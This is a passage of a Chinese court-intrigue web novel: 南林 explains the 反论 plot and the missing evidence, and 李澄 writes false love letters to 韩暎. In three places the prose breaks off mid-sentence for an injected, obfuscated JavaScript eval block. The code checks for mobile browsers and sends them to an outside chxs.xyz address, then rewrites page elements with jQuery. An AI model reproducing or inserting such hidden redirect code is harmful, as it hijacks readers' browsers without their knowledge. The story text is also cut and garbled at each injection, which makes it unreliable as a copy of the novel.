宋道林说:“你在撒谎?首领要交给我们的东西究竟是什么?你是不是知道了什么。你把物证私吞了?那不是你一个人的,还给我。” 崔在燮大声说:“你去死吧!那是我爹的遗物,归我,你没有资格拿到!你给我听好了,就算我死,我也不会让你拿到爹的遗物,你就继续像个蠢货一样执着于那可笑的真相好了,你要继续当你的老鼠就继续当吧!最好他妈的离我有多远有多远,滚开!” 宋道林没有让开,两人打了一架,没有分出胜负。两个人都肿着满是血的脸躺在地上,晕了又醒,最后崔在燮先起来,朝他脸上吐了一口血,踩着衣摆走了。 崔在燮消失了。准确的说,是全罗道的据点跟着崔在燮一起消失了。 宋道林先葬了崔溥,再回到全罗道,却发现崔在燮已经带着愿意跟随他离开的人离开了,他亲手摧毁了自己建立起来的据点,摧毁了父亲崔溥付出多年心血的据点。崔在燮留下了一些老弱病残,带走了大部分崔姓族人,而且这些族人大多是自愿跟着崔在燮离开的。 宋道林不知道他们去了哪里,于是接手了崔在燮没有带走的老弱病残,并且带着这些人回到了京畿道。他在崔溥的茅屋里住了下来,在此期间只回了一两趟家,陆陆续续还捡了一些孩子,这些孩子里只有一个男孩留了下来,取名叫南一洛。 他没有儿子,一直把南一洛当亲儿子养。只不过自己都过着三天吃一顿的生活,更别说养活一个孩子了。 南一洛也被养得瘦弱无比,只好偷偷干些勾当,吃吃霸王餐,偷偷小钱美名其曰劫富济贫,这么美滋滋地干了一段时间后,居然偷到了一个意想不到的人的头上。 南林道:“没想到他会偷到你头上来。” 宋景熙道:“我也没想到,实在是...太巧了。” 南林道:“这并不是巧合。只要两个人都还活在世上,就一定会有相撞的一天,只是时间问题。一洛在汉阳偷了很多年,才在几个月前第一次碰到你,足以说明这并不是巧合,而是自然的安排。” 宋景熙哑然。 南林继续道:“那段时间,我发现一洛长胖了。” 南一洛忽然露出了腼腆的笑容。 “一洛带回来一只母鸡。我问他怎么回事,他交代说,自己偷了一个人,并且得到了这个人的赠予。他将钱袋给我看,我才知道他遇上了你。” 宋景熙恍然大悟,他是记得自己将钱袋子给南一洛了,没有要他还回来。钱袋子里绣了他的名字,翻过来一看便知,看来他就是这样“暴露”的。 他道:“原来是这样......” 南林继续说道:“那时我便萌生了见一见你的想法,但我正在谋划反论之事,尚且无法见你......” 宋景熙收起空空如也的钱袋子,神色一凛,终于正事重提了。 “那道林叔父,您想要见我只是因为这个原因吗?还是说...和反论之事有关?” 南林道:“二者皆有。我想见见你,也想告诉你关于反论的事。原本我是打算先让一洛去张贴反论,待反论之事风波过后,再让他去找你,带你来见我。” 宋景熙略感疑惑:“反论不是已经在六曹街贴过一回了吗,并且已经引起了朝廷的重视,掀起了不小的风波,那为何到今日,不,昨日,为何到昨日依旧在城中四处游荡?” 南一洛乖巧地道:“还不够。我只贴了一点点,本来是打算贴在宋府和韩府的,还要进到宋府和韩府里呢。” “......宋府?” 宋景熙沉默了。没猜错的话,这个宋府应该就是指他家吧。甚至都不用猜,因为汉阳里姓宋的大户就他家一户而已,很好认。 南一洛点点头道:“是的是的。” 南林解释道:“首领认为孝献世子及世子嫔之死与韩氏、宋氏脱不开干系。孝献世子死后,是韩丙建和宋泰日将齐城君之子迎回宫,并成功说服德宗大王其过继到自己膝下,以承继大统。而韩氏和宋氏的后代都在齐城君之子,也即文祖即位后得以成为汉阳数一数二的世家。尽管首领没有证据,但他一直都秉持着认为韩宋两家有罪的想法,不曾变过。” “......你可以想象。起初,首领也对我的身份稍后介怀,但并未介意太久。日后,反而称我为宋氏仅存的良心。” 宋景熙不知道说什么,只好干干地笑了两声。 南林不说话了,南一洛就继续道:“就是因为怀疑韩氏和宋氏,所以我才会在义潭洞那里游荡啊...但是你们的人好多,我都没机会下手。本来今天好不容易进韩府了,结果你们又出现了欸,还打乱了我的计划。” 他说着说着,宋景熙竟然从他的语气里听到了一丝丝委屈。 南林道:“景熙,我并未想到你会因为反论而主动出现,也想不到你会抓住一洛,会以这样的方式来到我面前,果然,这都是自然的安排......上苍还是在帮我......唉,方才那些故事,都只是反论的铺垫,我还未说尽。” 宋景熙摆出一副洗耳恭听的表情。 南林道:“回到京畿道后,我花费了很多年和很多钱,终于得知了崔在燮的消息... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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忽然听见韩时元说话,宋景熙的心惊了一下。由于韩时元一直静静站在他身后,在南林讲述故事时也没有说过一句话,只是十分静默地站着,宋景熙自己又太过于投入南林的话,以致于差点忘记身后还有个韩时元。而且,韩时元一开口,就这么胆大。 宋景熙心里默默道:“难道现在有谋反嫌疑的不是道林叔父吗?反论......” 南林撑起眼睛看向这个突然说话的陌生年轻人,嘴唇哆嗦道:“不知道。” “我觉得这并不像是他要谋反。他的确是个心思不正的人,但以他的性子,如今他得到了富贵,造反对于他来说胜算太微乎其微,再者他也不蠢,即便成功了也没有名分,不仅得不到承认,还会挨上千古骂名,何必呢。” 宋景熙心道这也是。 “我想他只是想要把全州甚至全罗道都变成他的销金窟。他结交了尚州牧使,甚至会庆尚地区连年干旱往受灾最为严重尚州送去粮食。这样的表态,的确不可以说不是一种结交的示好,但欠了他人情的尚州牧使似乎并不那么愿意结交他,送往全州的信件和回礼皆很少。” 宋景熙道:“看来这位尚州牧使还是有些原则的,知道保持距离。” 韩时元道:“或许他只是担心自己被卷入麻烦当中。” “你们说的都很对,和我想的一致。”南林道:“我不想再有更多的人被他收买,他的地盘壮大,俨然成了盘踞在全罗道的地头蛇,这对于谁来说都不是一件好事。尚州牧使还在对他的邀请动摇当中,但他不能被崔在燮收进帐中。所以我写了反论。” 宋景熙略感迷惑:“这和反论有什么关系?” 南林道:“你忘了,我在反论上写了关于庆尚大旱之事。只要你们读了,就会对反论重视起来,就会注意到反论上的庆尚,进而意识到尚州的问题,尚州牧使受到压力,便不会同意加入崔在燮。” “......”宋景熙无声片刻后,扶额道:“道林叔父,有没有可能,实际上我们...朝廷并未注意到庆尚,也没有意识到庆尚会有什么问题,只是觉得这是谋反,只是想要抓住写反论的人呢?” 南林道:“你们...没有意识到吗?” 韩时元颔首道:“没有。我们全然不知有崔在燮这号人物,又如何得知尚州可能会与之勾结。” 宋景熙道:“是啊,道林叔父,不然您猜猜我们为何出现在这里,就是,就是因为反论而来为了抓您啊。” “......”南林再道:“我本来,是想直接写孝献世子是被毒杀身亡,因为这样更直接。但想想觉得太冒险,还是决定算了。” 宋景熙内心道:“其实无论写不写都很冒险啊。” 南一洛眨眨眼,突然道:“那义父的目的也达到了。你们是朝廷的人,你们知道了崔在燮,不也就代表朝廷知道了吗,虽然路径不对,但目的还是达到了,这一点问题也没有不是吗?” 南林几不可察地叹息道:“看来我的头脑是真的病得越来越不清醒了。不过一洛说得对,我的目的还是达到了,上天还是在帮我啊。” 宋景熙道:“我有一点不明白,道林叔父,为何不直接向朝廷揭发崔在燮?” 南林道:“揭发他,他可能会毁掉物证。一直以来,我的目的都只有一个,就是找出孝献世子夫妇死亡的真相,我只是想知道真相而已,从来没有变过。崔在燮究竟是不是想要谋反我无从知晓,但我知道或许他已经了解了真相,他带走了首领死前想要交给我们的物证,那物证应当就是真相,我虽不知首领为何会毙亡,但可以确信首领的死和物证有关。所以自从首领死后,我的目的便成了从崔在燮手上夺回物证,方才我已说过,我不止一次派人去过崔在燮的据点,甚至损失了人手,依然是空手而归。这代表崔在燮依旧对我有着警惕,他隐瞒真相,提防我知道真相。起初我并不着急,但现在我已经和他耗不下去了......” 说着,南林的嘴唇再度颤了颤,抬起一条手臂,整条手臂也都在微微颤抖,“我已经病入膏肓,如果没有意外,我活不过三年,即便不死,也已经无法行动了。好在还有一洛在,我想着最后行动一次,这次绝对不能失败,我必须要拿到物证,知道真相,好歹能让我死得有那么点意义。” 韩时元道:“您想怎么做?” “我打算派一洛去崔在燮的据点卧底,找到崔在燮藏起来的物证,并且拿回来。如果可以,他需要你们的帮忙。”南邻说着看向宋景熙:“这就是我为什么想见你,侄子。” “好,道林叔父,无论是什么忙,我都答应。”宋景熙点点头,又机智地道:“不过我也有一个请求,或者说是条件。” 南林道:“请。” 宋景熙道:“城北有间医馆,名为存善堂,是我们的据点。馆中有两位医者,医术不凡,既然道林叔父身体不好,不若去存善堂休养一阵?甚至比在这里安全。” “......” 南林似乎没想答应,果然,固执的人很难劝说。 韩时元环视了一圈这间屋子,道:“再过几月,天降大雪,这样的屋子,怕是再经不住风雪了。” “......” “以您的身体,恐怕很难撑过这个冬天。您执着的事情不可能朝夕间结束,既然事情还在进展当中,那为何不珍惜珍惜身体,多给自己留些时日?若是错过了真相,恐怕不是件好事。” “......”南林沉默着叹了一口气:“你说的很对,我喜欢说话直白的人。以前我缺人手和计谋,而现在我缺时间......等我布置完计划,就去存善堂。多谢你们......” 50. 清浊其五 南林的请求很简单,计划也很简单,而且不用立刻去办,不过是等南一洛在崔在燮的据点卧底成功,一切都准备就绪后,宋景熙和韩时元再去帮忙就是了。 宋景熙觉得自己没有拒绝的理由,也不想拒绝。他只是觉得有点震撼,有点沉闷,总觉着有什么东西在心中被摧毁,被烧灼。天蒙蒙亮,走在回曳扇台的路上,他也一直脸色沉沉,心事重重。 忽然间,听韩时元道:“在想什么?” 这声音关切温和,轻声细语,好像既怕惊扰到,又忍不住不关心,霎时间化去了宋景熙眉间愁苦。宋景熙舒展眉头,回应道:“没什么,只是有些郁闷...我在想道林叔父的事。” 韩时元道:“不如说与我听一听。你不同我说话,我也觉得有些郁闷。” 一听他这么说,宋景熙还没思考便脱口而出道:“我哪有。” 他扭头朝韩时元看去,却见一张白皙俊美的脸笑意盈盈地注视着他。不知怎的,宋景熙感到耳朵和腮边发麻发热了一瞬,他赶紧收回视线,小吸了一口气,轻声道:“好吧...我有点儿没办法想象,居然有人会为了一个真相坚持到死,还不止一个人这样做了,是一个人接着一个人继续做,一个人死了另一个人就接替他的遗志。这其中还有我的家人,这感觉很奇妙。如果不是道林叔父亲口对我这么说,而是别人讲出来,我会以为这是谁写的杂文小说。” 崔珠死了,崔溥就继续做;崔溥死了,宋道林就继续做。宋景熙甚至有点怀疑疑,要是宋道林或者说是南林死了,南一洛也会继续做。 “如果一直没有找到真相呢,那为此而死去的人是否也失去了意义?一个真相究竟要用多少条人命来补,究竟要用多少代价来换?” “的确。”韩时元也轻声道:“这样看,坚持到这个地步,似乎有些愚蠢。” 宋景熙点头:“是很愚蠢。” 这不是他的真心话。要是真只是觉得愚蠢的话,他也就不会郁闷了。他道:“但我敬佩。” 韩时元道:“世上总会有些人在坚持别人意想不到的事情。正因为别人不做,才显得可贵。一个人坚持自己想做的事情,这没什么好评判的,外人也许会觉得离经叛道,不可理喻,那不如让他们就这样想,反正他们不会替你走完一条路。说到底,意义是自己赋予的,而非他人施舍。” 他说得认真,而且真诚。宋景熙也听得认真,而且又开始思考起来,坚持?自己有没有坚持过什么事? 往小了说,确实也有,但往大了说,能让他坚持一辈子的事情,好像还没找到过。 宋景熙道:“我好像知道道林叔父为什么会脱离家族了。” 韩时元道:“洗耳恭听。” 宋景熙道:“他找到了他想坚持的东西,而且愿意付出一切去坚持。他毫不保留地抓住了这个机会,只是代价很大,让他成了个离经叛道的人,也得不到家人的认可。不过我认为从某种意义上来说,道林叔父其实是幸运的,至少他知道自己想做什么。至于这究竟值不值得,只有他自己知道了。但我觉得他没后悔过,如果不说得这么绝对,那也是很少后悔过。” 韩时元笑道:“赞同。” 宋景熙被他晃了一下神,这才意识到自己说着说着又不自觉地朝他看去了,于是别扭地扭过头,清咳一声,小声地道:“我们离开之前,道林叔父显然还希望我多留一会儿,但他似乎是觉得自己没什么可招待我们的,不好意思再多挽留我们。” 韩时元浅浅地嗯了一声:“我们走时,他送了很远。” 宋景熙道:“所以我在想,即便道林叔父脱离了家族,‘叛众离亲’,也不能完全斩断对家人的情感。要是他完全不在意家人,也就不会在花甲宴上出现了,或许在他心里,还是有那么一点儿渴望亲情的,只不过他不敢真的回家。” 韩时元似乎很有感触地道:“谁会不渴望家?好在他并不是遭到了抛弃,也尚有家人在世,从这一点看,也很好了。” “谁会不渴望家......”宋景熙喃喃了一遍,忽然抬眼看向韩时元,道:“那你呢?” 韩时元微微一怔。 宋景熙道:“你似乎从不提起你的家人。” 无论是在六年前的眉寿山上,亦或是现在,韩时元都从未对他提起过自己的家人,倒也不止他,据李珘自己所述,韩时元也没对他提起过。至于李珘说的是真是假就不知道了,也有可能是为了替韩时元保守身世秘密。总之,在宋景熙这里,韩时元的身世一直都是个谜。 除了知道这人叫“韩时元”这个名字,平心而论,宋景熙觉得自己对韩时元这个人挺一无所知的。 但今天,他突然就是很想了解一下韩时元这个人。 忽然听到这个问题,韩时元一点也不轻松地笑了笑:“我...” 见他似有犹豫,宋景熙安静地道:“没关系,我只是小小地问一问,并无窥探你秘密之意。你若是不太想提起,还请你当作没听到,忽略我的话好了。若是让你想起了什么不好的事情,很抱歉...” 韩时元道:“我不愿忽略你的话,你也不必对我道歉。” 这回轮到宋景熙稍稍一怔了。 “相反,我很高兴你问起我的事。我对你并无隐瞒之心,也不愿在你面前有任何秘密。只是有些事情现在还无法说出口,倘若可以,我愿意对你毫无保留。” 说这话时,韩时元紧紧地凝视着宋景熙,墨色的瞳孔里只画着一个人。他一字一句说得异常清晰,让宋景熙确信他完全是发自内心,没有一点敷衍,没有一点假大空。宋景熙和他对视,好像被火燎到了一样,不自觉地伸出一只手搓了搓脸,因为脸不知不觉热了起来。 脸热了可以搓,心热了怎么办?宋景熙控制不住让心跳慢点,只好低头闷声飞快道:“我知道了。”然后迅速走了出去,舌头好像烫到了一样飞速道:“要是时机到了,你再告诉我吧。” 他本来是想说自己没有探究别人身世和秘密的爱好,让韩时元不必对他毫无保留的。他一向的处事法则就是不对旁人探究太多,相信人与人之间至少得留着点距离。但现在这条法则失效了,韩时元仿佛有一种魔力,让他的心被一跟无名的绳子绑了起来吊在空中。他必须承认,自己就是想要更加了解韩时元。 就让这个法则小小地短暂地失效一会儿吧。宋景熙这么自私地想。 韩时元紧紧地跟着他,在他背后轻声笑道:“好。” ...... 曳扇台。 天都大亮了,李珘依然在努力工作,看来是熬了一整夜。眼圈黑黑的,见到两个徒弟走进来,面露欣喜,挥手催促道:“可算回来了,急事!” 韩时元道:“我们也有急事相报。” 李珘道:“再急能急过我?不许还嘴!先听我说,这可是个好消息。前阵子孩子们不是从东郡那里拉回来好几车书册吗?” 哦,这个,宋景熙和韩时元都有印象,是派去东郡的密使们从东郡官府里找到个书房,里面全是赵家人的藏书,问题是,这些书不是什么名家典籍,而是赵家人自己写出来的东西。写的也不是什么盖世奇文,而是零碎的关于赵家的记录,最久远可追溯到十五年前,最近可追溯到赵家人被捕前三日,对于赵家的记录,包罗衙门工作和日常生活,简直有些事无巨细。简单来理解,就是赵家史书,再准确点,更像是日记。 赵家家仆也管这么多书叫日记。没错,赵家人坚持写日记,写了至少十五年,写了整整一书房。据家仆所说,大多是赵家大夫人写的,赵郡守和他两个儿子偶尔也会写一写,在日记上发发牢骚,大多都是鸡毛蒜皮的小事。赵家家仆只当这是赵家人的习惯,虽然不理解,但尊重。 宋景熙和韩时元异口同声回答道:“记得。” 李珘鼓掌道:“我不是又让一批孩子们研究研究这些书册吗,经过这么多天的努力,终于得到了成果。你们俩个别高兴太早,赵家人没在日记里指明黑手的身份,只用大人来代替,提到的次数也极其少,那么多册书,只提到不超十次。” 宋景熙泄气道:“真是艰难险阻啊。” 李珘道:“莫急。我们虽仍然无法得知黑手的身份,但赵家人提供了另一条路。他们在日记里隐晦地提到了解忧草,通篇只用‘圣草’来代替,孩子们研究了很久,才从日记里研究出解忧草是与一位海商交易而来。” 宋景熙道:“海商?外邦商人?” 李珘点头道:“没错,不知是何国来人,日记中并未提到。不过好消息是这位海商知道黑手是谁,正是因为黑手牵线,所以赵家才能接触到海商,从他那里买到解忧草。” 韩时元道:“既然如此,找到这位海商,便能让他指认出黑手。” 李珘道:“没这么容易。日记里提到,这海商一年只来两次,第一次给钱,第二次交货,前后者之间大约是相差半年。并且第二次交货的时间和地点均在第一次付钱时由海商告知赵家人。另外,时间很不固定,海商虽然指定了日期,却经常晚来,拖延半月也是有可能的事。” 宋景熙评价道:“这也太不讲良心了。那地点呢?” 李珘扫了面前二人一眼,皱起额头道:“地点很准确,诶别高兴太早,那家伙可是有三个交货地点啊。” 宋景熙:“啊——” “赵家人对这三个地点有模糊的记录,这确实很奇怪。孩子们费了很大力气才推测出来,而且不知准确度如何。至于时间,也许正是海商并不准时的原因,所以赵家人完全没有将日期记在日志上,都是琢磨着日子到了,到了深夜就派人过去守着,没有的话就第二天深夜继续派人去守着,第二天没有就继续,年年如此。好在能通过赵家人的钱流支出来推测他们是何时付钱的,也就能据此推测出海商第二次到来的日子,也就是第一次付钱的半年之后。” 韩时元道:“还要等多久?” 李珘伸出四根手指:“至少四个月。” 宋景熙又道:“啊——” 李珘做了个鬼脸,道:“现在知道有多难了吧。孩子们的任务完成了,之后该你们俩个上场了,我先提个醒儿,往后四个月,也许不止四个月,你们会很忙。” 韩时元:“有多忙?” 李珘:“够忙。首先,你们应该知晓,我让人抓了赵家以后,并未刻意在汉阳隐瞒赵家被捕的事情,反而放任这事传出,现在朝廷上大半官员都是听说了东郡郡守因涉嫌重罪而被捕。不仅如此,我还让义禁府判事也在外透露了赵家人现在就正关在义禁府大牢的消息,本想着假使黑手听说了,必然不会无动于衷,一定会暴露出踪迹,但我观察了这么久,就是没有什么确定的怀疑对象,连存善堂那边也静悄悄的无人闯入。想来黑手不可能不知道赵家人被抓了,这只能说明他很谨慎,或者说,也很自信,他确信赵家人不会背叛他,也确信我们不会从赵家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773799|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上找出他是谁。” 韩时元道:“看来他有资格自信,赵家人的确没有背叛他,我们也的确未能从赵家人那里得到他的身份。真是很难办。” 李珘道:“难办吧?但我不是说了吗,没有赵家人,还有海商,这大概是唯二知道海商身份的了。赵家人没用了,还有海商,我们必须抓到海商,让他吐出黑手来。鉴于黑手一定也知道这一点,而海商只会定期出现在东郡海岸,那么黑手就有可能阻扰我们捉住海商的行动。而这,就是我要派给你们的第一项任务,我要派你们去东郡。一来继续确认推测出来的三个地点是否无误,现下人手紧张,不得不缩小推测范围,能缩小多少便是多少,但不必强求;二来再寻找机会部署人手,确保不惊动东郡百姓,也不让黑手插手行动来破坏大局,至于人手怎么部署,那得看你们俩个怎么决定,看你们两个肯定没问题。” “此外,我还得派你们去一趟庆尚,庆尚那边的分台说是有要紧事禀报,需要我去解决,但我是去不了的,只能让你们两个去了,这也是主上的意思,如果我没猜错的话,主上应该会让你们俩以赈灾的名义去。总之有点棘手,届时有问题再传信来问我,我得留在汉阳,对,反论,反论的事情怎么样了?” 韩时元看上去有些讶然:“巧了。我们得到的反论结果和庆尚有些干系。” 李珘也有点惊讶:“又是庆尚?庆尚哪里?” 韩时元道:“尚州。” 李珘道:“尚州啊,怎么回事?” 宋景熙蓄势待发,轻咳一声,侃侃道:“这就说来话长了,是这么一回事......” 他花了一阵才将事情交代清楚,李珘听着听着就合不拢嘴了,听罢,感到异常震惊,眼珠左右转了好几圈,等缓过来神后,才伸手将下巴推了回去,接着又负手在内厅里转悠了几圈,一边转悠一边伸出一只手指甩来甩去,道:“佩服!佩服!佩服!” 宋景熙:“老师......” 李珘道:“我佩服啊!这是什么奇人?不不不,这是什么奇案?这,这这,这、真是想不到,孝献世子?多少年没听过这个称呼了,上一次听到这个称呼的时候,我才几岁来着?原来他死得不简单??” 宋景熙道:“是......” 李珘好似变脸一般,瞬间换了个表情,声音也霎时沉了下来:“但你们要知道,主上是不会允许你们查这起案子的。原因你们明白?” 一听这话,宋景熙的心就沉了下去。正如李珘所说,王上不会允许调查的,因为无论是现在的王上还是崩逝的先王,上位的前提条件其实都是只有一个,就是孝献世子死了。可以说孝献世子要是没死,那根本就没先王什么事,也就更没现在的国君什么事,连御座看都不会看到一眼,恐怕还在被流放的海岛上钓鱼挖白蛤呢。 而现在。他们想要帮助南林去得到孝献世子夫妻的死亡真相,暂且不说到底是不是真的被奸人害死,最重要的是本来先王上位就不那么得士大夫认可,除了扶持他的韩丙建和宋泰日一流,起初可谓是完全不得众心,毕竟是流放之人的后代,打败了那么多其他士大夫扶持的候选宗室。可那些人只是被打败了,不是绝种了。只要这些人还在,一旦有机会,就有可能会起来造反,而且还有可能推出自己认为“正统”的宗室,打着拨乱反正扶持正统的旗子来捣乱。这也是没办法,谁叫王室那么能生,生出一大堆宗室!按照当时的情况,的确是哪一个都似乎比先王名分正点。 再说了,凶手要是查出来和先王有丝毫关系,那自然也就更危险了。即便确实和先王无关,王上也不会让这件谜案现身,过去的谜案还不如让它过去了,最好不要冒一点动摇王权的风险。 越想,宋景熙越纠结,难道要放弃吗?想起道林叔父的眼睛,还有颤抖的手,宋景熙还是觉得,自己不应该违背承诺。 韩时元带着一丝轻蔑的语气道:“不让他知道不就好了。” 李珘吹胡子道:“嘿,你小子,大逆不道。” 韩时元哈哈道:“他不同意,不代表老师不同意,不是吗?” 李珘笑骂道:“谁说我同意了,我说了吗?臭小子。我可什么都没说。” 李珘这根本就是没生气的样子,对他们想帮南林忙的态度好像也很模糊,这就有一点...睁一只眼闭一只眼的感觉了。宋景熙感觉脑袋一通,诶了一声,李珘见他要说什么,也是立即道:“曳扇台的规矩是什么来着?” 宋景熙还在思考,曳扇台还有规矩?明文的规矩没有,约定的规矩倒是一堆,且都是李珘捯饬出来的。宋景熙想了想,脱口而出:“小心行事?” 李珘挤眉弄眼起来。 这究竟是猜对了还是没猜对?还有别的吗?好像也不适用于现在啊!宋景熙正苦思冥想,听见韩时元回答道:“一切保密。” “都对了!”李珘一捶掌:“你们不是说那个崔什么谢的在往尚州做坏事吗,过段时日恰好你们也要去,啧,这行动和日子你们自己安排吧,我可不管,不过我还是建议你们到了尚州以后再做决定。尽所能便好,不必强求,千万小心行事,避免暴露,也千万保守住这个秘密,就算查出来了什么也吞进心里,不要说出来哦当然我可能还是会问的。其余的我也就不管了。” 说罢,他又捶了捶脑袋,一脸茫然地道:“咦,我刚刚在说什么?哦我说!过段日子得派你们去东郡不是吗?收拾收拾东西,准备出发!” 51. 孽牙其一 王宫。 一片寂静中,李澄正在伏案执笔写着什么。 他屏退了所有宫人——虽然宫人也不怎么愿意伺候他就是了,往常他会暗暗记仇,但现下他根本没心思记仇去,反而感谢这些势利眼能留他清净,好方便他写情笺。 对,没错,就是情笺。要送到宫外去的、他亲笔书写的情笺。字字动人,含情蓄意,婉转之处有之,热烈之处有之,令人读之脸红,总之完全就是陷入热恋当中的男女所能写出来的东西。而收到他这副情笺的,是领相的小女儿韩暎。 片刻后,这么一封令人读之脸红的情笺总算是写完了,然而写出这封信的李澄神色却并不愉快地吹了吹纸页,他这么做是为了让墨迹干快点,好叠起来装进信封里让人赶快送出去。他这么既有耐心又没耐心地做,是因为某一回寄给韩暎的信因为叠起时墨迹未干,又涂画了很多随笔画,导致很多字被墨晕染脏了,团在一块,观感不悦,韩暎便在来信中抱怨,写着诸如“你好不用心啊!”,“你对我不如从前上心了”,“再这样的话我就不给你写信了!”之类的话。 李澄如临大敌,不得不在对待韩暎的书信上更加小心翼翼起来。 他已经和韩暎互通情笺很多日了,手指头都快数不过来了。自从他第一回秘密出宫去韩府神不知鬼不觉地与韩暎见面,并且表达了自己的爱慕之情后,一番花言巧语,可算是让韩暎相信了他口中所说的“早已在当年游学会上钦慕多年,许久不曾成婚也是为尔守身如玉,如今终于重逢,只愿同尔修成正果”等屁话。 但韩暎没这么好糊弄,作为一个博爱的女子,韩暎也是见识过不少热恋时情深朦朦,腻了便翻脸走人,以及一旦成婚就当起家中大王的男人。她有点聪明,知道是自己在给李澄机会,因此乐于这里挑一点刺,那里挑一点刺,以此来测试李澄的忠诚有多诚,爱意有多深。这倒没什么好批评的,因为她只是简单地认为,一个人要是真的爱她,那就应该接受她的全部,即便是她坏的部分,她胡闹的性格、任性的脾气、偶尔的傲娇,那人也应该甘之如饴。 实际上韩暎自己也陷入了深深的爱恋当中,看着那些令人肉麻的文字,她一点不觉得奇怪,每每将李澄寄来的书信翻出来,捂着嘴捶着大腿心情激动赏读一番,心想:“这个人可真爱我啊!” 可是她还完全不知道自己想错了,也不知道自己的测验其实一点用没有。因为李澄从一开始,就对她没有丝毫爱意。她检验的爱意,都是假装的。 她甚至不知道,自己一笔一划写出的饱含少女情意的情笺送到李澄手上的时候,根本没有得到应有的珍惜对待。李澄只是抱着嫌恶的心情匆匆扫一眼,确认她没有抱怨什么、没有提出什么要求后,便毫不犹豫地将带着鲜花香味的情笺丢在火盆里烧成呛人的灰。 可怜韩暎什么都不知道,也不知道她差不多是被父兄卖掉的。李澄需要韩氏的支持,韩氏也需要维持家族的强盛,双方一拍即合,愿意合作,换取各自的权势,但这是有代价的,承担代价的得是韩暎。韩暎就像联姻的公主一样被送了出去,只不过韩暎还要更惨,她甚至不知道自己是被交换出去的。 墨迹干了。 李澄面无表情地将情笺叠起塞进信封里,然后道:“进来。” 一名粉衣红袖的小宫女小心翼翼地走了进来,小心翼翼地抽走李澄手上的情笺,又小心翼翼地退了出去。 她是韩氏的人,才被调到李澄的殿里不过一年,最近才开始负责和宫外的其他韩氏的人对接信件。 从李澄手中拿走信的全程,这位小宫女都不敢抬头,完全不敢看李澄,无他,只是因为李澄脾气太暴躁了,动不动就爱斥人,甚至会动手,砸东西的次数也是不少的,特别难斥候,殿里的内侍和尚宫们都对这位睿南君很是讨厌,巴不得离他远点。不过,自从这位睿南君与韩家小姐通起书信后,小宫女觉着,这位满宫里脾气最不好的王子似乎比以前和颜悦色点了,甚至很少对她大呼小叫了。 小宫女一边往隐秘的角落走,一边悄悄感叹,看来感情真是可以改变一个人呀。 次日,天晴。 李澄躺在一堆书信里,一只胳膊压在眼睛上。他脑袋昏昏沉沉的,听见房门被打开,胳膊下的眼睛隐隐看见一只穿着白色鞋袜的脚走近自己,然后在他右边停下。 来人冷冷地道:“这是在做什么。” 李澄猛地抬起手臂,从地上弹了起来。 来人是韩圣吉。从韩圣吉的视角来看,李澄身边全是散落的书信,离李澄很远的地方有个翻倒在地的矮桌。如果韩圣吉没猜错的话,那应该是李澄踢过去的。 韩圣吉再次道:“你又在犯什么火?” 李澄揉了揉眼,想起昨晚自己心中郁结,不能压制,一气之下将矮桌踢翻,还补了一脚像踢球一样踢飞了。他摸了摸冰凉的脖子,也冷声回敬道:“谁允许你擅自进来的?” 韩圣吉道:“有时候,我会怀疑选择你是否是个错误。假使你某一天疯了怎么办?你登上了王位之后,是否会变成一个疯子?” 李澄深吸一口气,握起拳头,声音发颤地道:“我早就说过了,我会向你证明选择我不是个错误,反而会是你做过的最正确的选择。我不是疯子,我只是觉得烦闷,如果我真是个疯子,我会杀人,而不是在这里踢桌子。” 他忍,他的目的没达到,他什么都能忍。讨好,说违心的话,丢下尊严和脸面,他什么都能做,只要这能换来他想要的东西。现在失去尊严,屈服于人没什么大不了的,大丈夫能屈能伸不是吗?等他的目的达到了,他就能再换回尊严。 李澄一直是这么想的。 韩圣吉道:“但愿如此。”说着,他弯腰捡起脚边一封信,想要拆开来看一看,李澄见他这么动作,顿时眼睛睁大,飞扑倒韩圣吉脚边,一掌拍下信件,啪地拍在地上。但他这么做了之后,整个人也愣住了。 韩圣吉模糊地嗤了一声:“睿南君,你这又是在做什么?” 他这个模样,完全就是以一种难看的姿势匍匐在韩圣吉脚边,明明一个是君,一个是臣才对。不应该是这样的。李澄握紧了另一只拳头,但将拳头悄悄地隐藏了起来,缓缓将身体挪了回去,咬咬牙又松开,故作轻松地道:“这些信,你不能看。” 韩圣吉道:“我不能看,但这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773800|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代表我不知道信上的内容。”他的语气变得意味不明起来:“睿南君啊,你,为何会有那样的癖好?原来你喜欢男人?” 李澄浑身又是一定,完全愣住了。 